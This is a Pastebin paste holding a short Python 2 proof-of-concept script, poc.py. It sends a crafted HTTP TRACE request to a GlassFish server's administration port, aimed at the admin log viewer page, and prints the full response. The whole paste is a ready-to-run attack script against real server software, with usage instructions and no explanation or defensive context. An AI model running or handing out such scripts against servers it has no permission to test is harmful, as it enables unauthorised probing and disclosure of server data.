Advertisement
Quantumzblue

Untitled

Jun 16th, 2019
375
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.17 KB | None | 0 0
  1. import sys
  2. import httplib
  3.  
  4. def make_trace_request(host, port, selector):
  5.  
  6. print '[*] TRACE request: %s' % selector
  7. headers = { 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0;
  8. Windows NT 5.1; Trident/4.0)',
  9. 'Host': '%s:%s' % (host, port),
  10. 'Accept':
  11. 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  12. 'Accept-Language': 'en-us,en;q=0.5',
  13. 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
  14. 'Accept-Encoding': 'gzip,deflate',
  15. 'Connection': 'close',
  16. 'Referer': 'http://%s:%s%s' % (host, port, selector)}
  17.  
  18. conn = httplib.HTTPConnection(host, port)
  19. conn.request('TRACE', selector, headers=headers)
  20. response = conn.getresponse()
  21. conn.close()
  22.  
  23. print response.status, response.reason
  24. print response.getheaders()
  25. print response.read()
  26.  
  27.  
  28.  
  29. if len(sys.argv) != 3:
  30. print "Usage: $ python poc.py <GlassFish_IP>
  31. <GlassFish_Administration_Port>\nE.g: $ python poc.py 192.168.0.1 4848"
  32. sys.exit(0)
  33.  
  34. host = sys.argv[1]
  35. port = int(sys.argv[2])
  36. make_trace_request(host, port, '/common/logViewer/logViewer.jsf')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement